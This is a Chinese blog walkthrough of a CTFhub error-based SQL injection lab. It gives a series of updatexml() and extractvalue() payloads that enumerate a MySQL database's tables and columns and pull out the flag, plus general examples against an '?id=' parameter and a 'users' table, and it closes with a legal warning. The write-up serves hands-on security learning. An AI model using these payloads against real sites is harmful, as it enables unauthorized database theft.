CTFhub-sqli注入-报错注入

用到的函数

updatexml(1,       ,1)

concat(0x7e,       ,0x7e)

group_concat(目标值)

right(,32) 

1

1'

 1 union select updatexml(1,concat(0x7e,database(),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli'),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)

 1 union select updatexml(1,concat(0x7e,(select(group_concat(flag))from sqli.flag),0x7e),1)

 1 union select updatexml(1,concat(0x7e,right((select(group_concat(flag))from sqli.flag),32),0x7e),1)

### 解决 sqli-labs 报错注入问题 在处理 `sqli-labs` 中的报错注入时,理解如何利用 MySQL 的错误消息来获取有用的信息至关重要。通过构造特定的 SQL 查询语句,可以触发数据库返回详细的错误信息,从而揭示隐藏的数据。 #### 使用 `extractvalue()` 函数引发 XML 错误 一种常见的方法是使用 `extractvalue()` 函数来制造 XML 解析错误。此函数尝试解析给定字符串作为 XML 文档的一部分,并从中提取指定节点的内容。如果提供的参数不合法,则会抛出异常并显示具体的表名或列名。 ```sql ?id=1 AND (SELECT extractvalue(1, CONCAT(0x5c, (SELECT database())))) ``` 上述查询试图将当前使用的数据库名称连接到一个非法的 XPath 表达式上,导致服务器响应中包含目标库的名字[^1]。 #### 利用 `updatexml()` 函数生成自定义错误 另一种有效的方式是调用 `updatexml()` 来创建带有额外路径片段的 XML 数据结构。当第二个参数指向不存在的位置时,MySQL 将报告找不到相应位置的消息;而第三个参数则允许嵌入任意文本串——这正是实施盲注攻击的关键所在: ```sql ?id=1 AND updatexml(1, concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1)),1) ``` 这段代码旨在让 Web 应用程序显示出第一个匹配表格的名字。注意这里的 `information_schema.tables` 是用来列举所有可用表的一个元数据视图。 为了更高效地探索整个架构,在成功取得初始入口之后还可以继续深入挖掘其他感兴趣的实体,比如查看某张表内的字段列表: ```sql ?id=1 AND updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users')),1) ``` 这里假设存在一张名为 "users" 的用户资料记录表。当然实际操作过程中应当替换为目标站点真实的对象命名。 最后提醒一点安全事项:尽管这些技巧对于学习目的非常有价值,但在未经授权的情况下对他人系统执行此类测试属于违法行为。务必仅限于个人实验环境内练习!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

斜躺青年

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值